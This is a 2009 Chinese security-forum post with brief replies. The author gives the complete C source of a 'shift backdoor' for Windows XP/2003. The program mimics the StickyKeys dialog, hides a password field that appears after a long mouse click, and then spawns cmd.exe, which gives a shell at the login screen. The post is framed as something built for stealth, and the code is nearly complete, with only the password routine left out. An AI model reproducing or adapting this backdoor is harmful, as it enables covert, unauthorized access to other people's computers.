首页
社区
课程
招聘
[原创]windows xp 2003英文版后门
发表于: 2009-12-29 20:20 8315

[原创]windows xp 2003英文版后门

2009-12-29 20:20
8315
[/CODE]Shift后门总结
前几天闲来无事,同事又叫我给他写一个shift后门。要求还挺多,最关键的一条是生成后的exe大小不能超过10k,而且还必须有仿真界面。这可难道了俺啊 ,想想如果用mfc的话呢文件就弹一个对话框都要20k的大小,实在是太大了。而win32的汇编我又不会,只好用sdk了,随便这段时间想学sdk编程,于是就硬着头皮,花了一天时间,弄了一个只有8k的shift后门。顺便也能学习一下怎么用sdk弄界面呢。
下面开始步入正题。
要使用sdk写windows程序,winmain函数肯定得知道吧,那个WinMain就是…….(以下省略若干字,怕被高手骂)。不懂的同学呢,也可以去看一下windows核心编程,好书啊。
WinMain函数中最重要的一件事情就是注册窗口类。主要用到的结构是WNDCLASS 这个结构的作用呢是什么 我也不了解,反正就是知道有这个结构,且必须用它。初始化结构完成后,就必须注册窗口,必须创建窗口。而shift键弹出来的那个框是不能改变大小的。仅这一点,而我又不太喜欢看msdn,所以就在网络上找,找了好久,终于在csdn上看见了怎么固定窗口大小,原来只要在CreateWindow上的窗口属性中加一个WS_DLGFRAME就ok了,哎!!
CreateWindowW( L"StickyKeys", L"StickyKeys", WS%OVERLAPPED|WS%SYSMENU|WS%DLGFRAME /*固定窗口大小*/,100,100,410,170,NULL,NULL,hInstance,NULL);
后面的事情就简单了 。就是创建消息循环,等待消息循环等等一系列的过程了。 这里有一个要说明的地方了。就是后门嘛,就要隐蔽,是吧,而且还不能被别人给发现了。而且还不能让别人随便就能触发后门,是吧。因此,主要采用的就是快捷键和加密的方式了。不过我不知道为什么,在使用快捷键的时候,当做了优化过后,快捷键就不能触发了,于是我该了一种思路,就是根据windows消息中的KEY_UP和KEY_DOWN事件,来触发这个消息。具体怎么触发的大家就看代码吧。 这里有几个问题想请教各位高手了。这个shift后门写出来过后呢,有几个缺陷,第一是通用性不好,因为里面有个地方时采用重绘窗口的方法,硬编码设置窗口颜色的,与实际的颜色会有差距,二呢是窗口右上角有一个icon 我想了很多方法都不能把他去掉,而用mfc建立的窗口默认就没有这个icon。所以如果谁知道有好的解决方法的呢,还请大家指教。 [CODE] #include<Windows.h> #include<strsafe.h> #pragma comment(linker, "/MERGE:.rdata=.data") #pragma comment(linker, "/MERGE:.text=.data") #pragma comment(lib,"strsafe") LRESULT CALLBACK WindowProc(HWND hwnd,UINT uMsg,WPARAM wParam, LPARAM lParam); //消息处理函数 HWND hbtn1,hbtn2,hbtn3,hbtpas; HWND hText; HINSTANCE hIns; DWORD Timer = 0; bool CheckPassword(WCHAR *pas);//密码验证函数 BOOL CALLBACK ShowSetHc(HWND hDlg, UINT message, WPARAM wParam, LPARAM lParam); int WINAPI WinMain( __in HINSTANCE hInstance, __in_opt HINSTANCE hPrevInstance, __in_opt LPSTR lpCmdLine, __in int nShowCmd ){ WNDCLASS wndclass; wndclass.style = CS_VREDRAW; wndclass.cbClsExtra = NULL; wndclass.cbWndExtra = NULL; wndclass.hbrBackground =(HBRUSH)GetStockObject(DEFAULT_PALETTE); wndclass.hCursor = LoadCursor(NULL,IDC_ARROW); //take care wndclass.hIcon= NULL; wndclass.hInstance = hInstance; wndclass.lpfnWndProc = WindowProc; wndclass.lpszClassName = L"StickyKeys"; wndclass.lpszMenuName = NULL; wndclass.style = CS_HREDRAW; hIns = hInstance; RegisterClass(&wndclass); HWND hwnd = CreateWindowW( L"StickyKeys", L"StickyKeys", WS_OVERLAPPED|WS_SYSMENU|WS_DLGFRAME /*固定窗口大小*/,100,100,410,170,NULL,NULL,hInstance,NULL); ShowWindow(hwnd,SW_SHOW); MSG msg; while (GetMessageW(&msg,NULL,NULL,NULL)) { TranslateMessage(&msg); DispatchMessage(&msg); } return 1; } LRESULT CALLBACK WindowProc(HWND hwnd,UINT uMsg, WPARAM wParam, LPARAM lParam) { STARTUPINFOW si={0}; si.cb = sizeof(STARTUPINFO); si.dwFlags = STARTF_USESHOWWINDOW; si.wShowWindow = SW_SHOW; PROCESS_INFORMATION pi; WCHAR System[MAX_PATH] ={0} ; GetSystemDirectory(System,MAX_PATH); switch(uMsg){ case WM_CREATE: { //创建按钮,其中有1 2 3 是显示在界面上的,而hbtpas和hText是隐藏了的。必须触发消息过后才能显示出来, hbtn1 = CreateWindowW( TEXT("BUTTON"), L"OK",WS_CHILD | WS_VISIBLE |BS_PUSHBUTTON,70,95,75,20,hwnd,(HMENU)1000,((LPCREATESTRUCT)lParam)->hInstance,NULL); hbtn2 = CreateWindowW( TEXT("BUTTON"), L"Cancel",WS_CHILD | WS_VISIBLE |BS_PUSHBUTTON,155,95,75,20,hwnd,(HMENU)1001,((LPCREATESTRUCT)lParam)->hInstance,NULL); hbtn3 = CreateWindowW( TEXT("BUTTON"), L"&Setting",WS_CHILD | WS_VISIBLE |BS_PUSHBUTTON,243,95,75,20,hwnd,(HMENU)1002,((LPCREATESTRUCT)lParam)->hInstance,NULL); hbtpas = CreateWindowW( TEXT("BUTTON"), L"Login",WS_CHILD | WS_VISIBLE |BS_PUSHBUTTON ,0,50,75,20,hwnd,(HMENU)1003,((LPCREATESTRUCT)lParam)->hInstance,NULL); hText =CreateWindowW( TEXT("EDIT"), L"",WS_CHILD | WS_VISIBLE |ES_PASSWORD ,0,0,100,20,hwnd,(HMENU)1004,((LPCREATESTRUCT)lParam)->hInstance,NULL); ShowWindow(hText,SW_HIDE); ShowWindow(hbtpas,SW_HIDE); SendMessage(hwnd,WM_SETFONT,(WPARAM)GetStockObject(DEFAULT_GUI_FONT),0); SendMessage(hwnd,WM_SETFONT,(WPARAM)GetStockObject(DEFAULT_GUI_FONT),0); SendMessage(hbtn1,WM_SETFONT,(WPARAM)GetStockObject(DEFAULT_GUI_FONT),0); SendMessage(hbtn2,WM_SETFONT,(WPARAM)GetStockObject(DEFAULT_GUI_FONT),0); SendMessage(hbtn3,WM_SETFONT,(WPARAM)GetStockObject(DEFAULT_GUI_FONT),0); } break; case WM_PAINT: { PAINTSTRUCT ps; HDC dc; dc = BeginPaint(hwnd,&ps); RECT rt; GetClientRect(hwnd, &rt); HBRUSH brush=CreateSolidBrush(RGB(236,233,216));//创建画刷 这里是尽量模仿真实的界面。 RECT rect; GetClientRect(hwnd,&rect);//获得主窗口的面积 HBRUSH oldbrush=(HBRUSH)SelectObject(dc,brush); Rectangle(dc,rect.left-1, rect.top-1, rect.right+1, rect.bottom+1); SelectObject(dc,oldbrush); SelectObject(dc,GetStockObject(DEFAULT_GUI_FONT)); WCHAR str[] = L"Pressing the SHIFT key 5 times turn on StickyKeys.StickyKeys lets you use\n" L"the SHIFT,CTRL,ALT,or Windows Logo Keys by Pressing one key at a time.\n\n" L"To keep StickyKeys on,click OK.\n" L"To cancel StickyKeys,click Cancel.\n" L"To deactivate the key combination for StickyKeys,click Settings."; SetBkMode(dc,TRANSPARENT); rt.left =10; rt.top = 10; DrawText(dc,str,wcslen(str),&rt,DT_LEFT); EndPaint(hwnd,&ps); break; } case WM_COMMAND: { switch(LOWORD(wParam)) { case 1000: // 单击确定按钮 PostMessage(hwnd,WM_CLOSE,0,0); break; case 1001: // 单击取消 PostMessage(hwnd,WM_CLOSE,0,0); break; case 1002: //单击设置 { StringCbCatN(System,MAX_PATH,L"\\rundll32.exe",MAX_PATH); CreateProcessW(System,L" shell32.dll,Control_RunDLL access.cpl,,1",NULL,NULL,FALSE,0,NULL,NULL,&si,&pi); PostQuitMessage(0); } break; case 1003: StringCbCatN(System,MAX_PATH,L"\\cmd.exe",MAX_PATH); WCHAR password[16]={0}; GetDlgItemText(hwnd,1004,password,MAX_PATH); if (CheckPassword(password))//这个函数是加密函数,如果有需要呢大家就自己实现吧。。。我就不放出来了 { CreateProcessW(System,NULL,NULL,NULL,FALSE,0,NULL,NULL,&si,&pi); } PostQuitMessage(0); } break; } case WM_LBUTTONUP: //当按下鼠标左键在任意位置cpu时间3000ms以上过后,就触发事件,于是密码输入框就出来了。 if (GetTickCount()-Timer>=3000){ ShowWindow(hText,SW_SHOW); ShowWindow(hbtpas,SW_SHOW); } break; case WM_KEYDOWN: break; case WM_LBUTTONDOWN: Timer = GetTickCount(); break; case WM_CLOSE: PostQuitMessage(0); break; case WM_DESTROY: DestroyWindow(hwnd); break; default: return DefWindowProc(hwnd,uMsg,wParam,lParam); } return 0; }

[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!

收藏
免费 7
支持
分享
最新回复 (4)
雪    币: 50
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
2
strsafe.h是什么
2009-12-29 20:59
0
雪    币: 55
活跃值: (75)
能力值: ( LV5,RANK:70 )
在线值:
发帖
回帖
粉丝
3
因为用到了StringCbCatN这个windows函数,所以就必须包含这个头文件
2009-12-30 08:56
0
雪    币: 4386
活跃值: (3611)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
4
我是把真实文件的资源导出来 用对话框实现的
2009-12-30 19:41
0
雪    币: 8
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
5
支持一下lz
说实话,因为俺喜欢SDK,所以一直在修炼当中... 不过离预期目标好像还很远很远(自我感觉...)
2009-12-30 21:53
0
游客
登录 | 注册 方可回帖
返回
//